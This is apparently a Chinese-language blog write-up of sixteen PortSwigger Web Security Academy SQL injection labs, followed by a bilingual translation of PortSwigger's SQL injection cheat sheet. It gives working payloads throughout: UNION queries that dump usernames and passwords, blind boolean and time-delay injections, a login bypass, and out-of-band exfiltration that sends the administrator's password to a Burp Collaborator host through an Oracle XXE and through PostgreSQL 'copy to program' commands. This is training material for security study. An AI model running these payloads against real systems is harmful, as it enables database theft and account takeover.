burp靶场之SQL注入
题目
1 SQL injection UNION attack, determining the number of columns returned by the query
主要就是2个接口的参数问题:
1 | web-security-academy.net/filter?category=Gifts |
简单试了一下发现productId
限定了输入只能是数字,category
这里简单测试发现1个单引号报错,2个正常,所以问题就是这里了,结合页面上的有个登录界面,所以就是注入拿密码了。
题目的意思这里是要判断列数,使用Gifts' order by 3 --%20
找到一个报错临界数,这里确定了是3 。但是运行之后没有提示 solved
,所以猜测还得是要Gifts' union select 1,2,3 --%20
来判断当前哪一个是显示位,但是这里直接这样跑会报错,因为限制了传参的数据类型, 同时结合,所以可以这样Gifts' union select null, null,null --%20
然后一位位的去测试传参类型,但是直接运行就提示 solved
就不用继续了。
2 SQL injection UNION attack, finding a column containing text
跟上面一样,题目提示需要显示数据库名字'la0vYE'
,一位一位的将null
替换为'la0vYE'
即可
Pets'union select 1,'la0vYE',2 --%20
3 SQL injection UNION attack, retrieving data from other tables
这里需要从user
表里取username
和password
,然后登录administrator
就算通过。首先判断列数,发现这里变成 2 列了,直接使用Pets'union select username,password from users--%20
即可在回显中看到用户名密码,没做处理直接登录即可。
4 SQL injection UNION attack, retrieving multiple values in a single column
这里限制了只能在一列里面完成查询用户名和密码,经过测试发现还是2列,但是第一个位置被限定了只能是null
或者数字,所以就得在第 2 列里面操作,我这里通过 2 次操作,一次查账号,一次查密码的方式完成
1 | Gifts'union select 1,username from users -- |
但是却发现这里2次查询展示的行数并不一样,导致这里出现了错位,因为这里行数少可以一个个的尝试,但是在行数过多的时候就不行了,题目答案的的建议是使用 || 作为连接符进行查询:Gifts'union select 1,username||123||password from users --
5 SQL injection attack, querying the database type and version on Oracle
这里数据库换成oracle
了,查询有一定的变化,不管是什么查询都得指定表,在不知道表名的情况下可以指定DUAL
这个默认生成的表。还是先用order by
判断列数,然后判断传参位置:
1 | Lifestyle' union select null,null from DUAL-- |
题目提示需要输出数据库的版本信息,因此可以使用oracle
查询版本的语句:
1 | SELECT banner FROM v$version |
最终的payload
为:
1 | Lifestyle' union select 'a',banner from v$version-- |
6 SQL injection attack, querying the database type and version on MySQL and Microsoft
跟上面类似,Microsoft
跟mysql
查询版本信息的语法是 SELECT @@version
,payload
为:
1 | Lifestyle'union select null,@@version-- |
7 SQL injection attack, listing the database contents on non-Oracle databases
这里是获取非oracle
数据库内容,主要是利用 information_schema
1 | Gifts'union select 'a',table_name from information_schema.tables-- |
8 SQL injection attack, listing the database contents on Oracle
这里是获取oracle
数据库内容,主要是利用 all_tables
和 user_tables
1 | Lifestyle'union select 'a',table_name from all_tables-- //使用all_tables返回的数据太多 |
9 Blind SQL injection with conditional responses
这里题目提示的是cookie
的boolean
型注入,需要找到users
表里administrator
的password
,查询的正确与否可以直接通过返回字节长度来判断。
1 | TrackingId=1G' union select null from users where username='administrator' --%20 |
10 Blind SQL injection with conditional errors
这里还是cookie
注入,但是没有了回显,只有进行错误运算的时候才会到错误页面。这就需要用到 if
了。题目没有说明数据库类型,所以得自己试一下。
1 | //使用查询版本的语句来判断类型 |
11 Blind SQL injection with time delays
延时注入,这里的数据库是PostgreSQL
,所以得用 pg_sleep
1 | TrackingId=x50'||pg_sleep(3) --%20 |
12 Blind SQL injection with time delays and information retrieval
跟上面一样,postgresql
的时间注入
1 | TrackingId=DS'%3Bselect pg_sleep(2)--%20 |
这里因为靶机延迟太高,我把sleep设成15s都会出现误报,所以没有跑最终的结果。
13 Blind SQL injection with out-of-band interaction
使用oracle
的dns
注入语法即可:
1 | TrackingId=58%27union%20SELECT%20extractvalue%28xmltype%28%27%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20root%20%5B%20%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2F9jtu91tq2irjgipu6g6co2n89zfr3g.burpcollaborator.net%2F%22%3E%20%25remote%3B%5D%3E%27%29%2C%27%2Fl%27%29%20FROM%20dual--%20 |
14 Blind SQL injection with out-of-band data exfiltration
跟上面相比多了查询拼接的操作
1 | TrackingId=cx'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.8nwqgp53raenhoqpawxp2pkxroxel3.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--%20 |
从dns的解析即可获取到对应的密码
15 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
where
注入,这里跟最开始一样,输入 Accessories'or 1=1 --%20
即可
16 SQL injection vulnerability allowing login bypass
万能密码,账号正常输入 administrator
,密码输入 'or '1'='1
即可
总结
首先判断数据库类型之后根据具体场景进行对应的操作,这里burp官方给了一个check sheet可以很好的参考:https://portswigger.net/web-security/sql-injection/cheat-sheet ,以下是自己做的简单翻译版本:
SQL injection cheat sheet
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.
字符串拼接
可以将多个字符串拼接形成一个字符串。
You can concatenate together multiple strings to make a single string.
| Oracle | 'foo'||'bar'
|
| :——— | ———————————————————- |
| Microsoft | 'foo'+'bar'
|
| PostgreSQL | 'foo'||'bar'
|
| MySQL | 'foo' 'bar'
[注意字符串之间的空格] CONCAT('foo','bar')
|
子字符串
在一些场景需要使用取子字符串的时候就可使用以下函数,偏移量的基础值是 1,下面的实例取出的值是 ba
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba
.
Oracle | SUBSTR('foobar', 4, 2) |
---|---|
Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
注释语法
使用以下注释语法来注释掉原始语句后面的内容以免报错
You can use comments to truncate a query and remove the portion of the original query that follows your input.
Oracle | --comment |
---|---|
Microsoft | --comment/*comment*/ |
PostgreSQL | --comment/*comment*/ |
MySQL | #comment -- comment [注意 – 后面有个空格] /*comment*/ |
数据库版本信息
获取数据库的版本信息,在进行进一步利用时很有帮助
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
Oracle | SELECT banner FROM v$version; SELECT version FROM v$instance |
---|---|
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
获取数据库内容
列出数据库中存在的表以及这些表包含的列。
You can list the tables that exist in the database, and the columns that those tables contain.
Oracle | SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
---|---|
Microsoft | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
PostgreSQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
MySQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
布尔注入
通过测试一个布尔条件,如果条件为真则触发错误。
You can test a single boolean condition and trigger a database error if the condition is true.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
---|---|
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
堆叠查询
使用堆叠查询来连续执行多个查询。在执行后续查询时,结果不会返回给应用程序。因此,此技术主要用于盲注,使用第二个查询来触发DNS
查找,使其报错或时间延迟。
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle | Does not support batched queries. |
---|---|
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | Does not support batched queries. |
时间延迟
你可以使用一个查询语句来造成数据库处理延迟。以下情况将导致10秒的无条件时间延迟。
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
Oracle | dbms_pipe.receive_message(('a'),10) |
---|---|
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT sleep(10) |
有条件的时间延迟
您可以测试单个布尔条件,并在条件为真时触发时间延迟。
You can test a single boolean condition and trigger a time delay if the condition is true.
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
|
| :——— | ———————————————————— |
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
|
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
|
| MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
|
DNS查询
利用数据库对外部域执行DNS
查找。为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator
子域,然后轮询Collaborator
服务器以确认是否发生了DNS
查找。
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.
Oracle | 下面这种XXE攻击可以触发dns查询,这个属于oracle的一个漏洞,目前仍有部分未修补该漏洞,也就是说实际场景可能并无法利用 The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') |
---|---|
Microsoft | exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' |
MySQL | 下面这种方式只存在于windows环境: The following techniques work on Windows only: LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
DNS带外查询
使数据库对包含注入查询结果的外部域执行DNS
查找,可以利用dns
解析记录获取sql
查询的结果。
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.
| Oracle | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
|
| :——— | ———————————————————— |
| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
|
| PostgreSQL | create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
|
| MySQL | 下面这种方式只存在于windows环境:
The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
|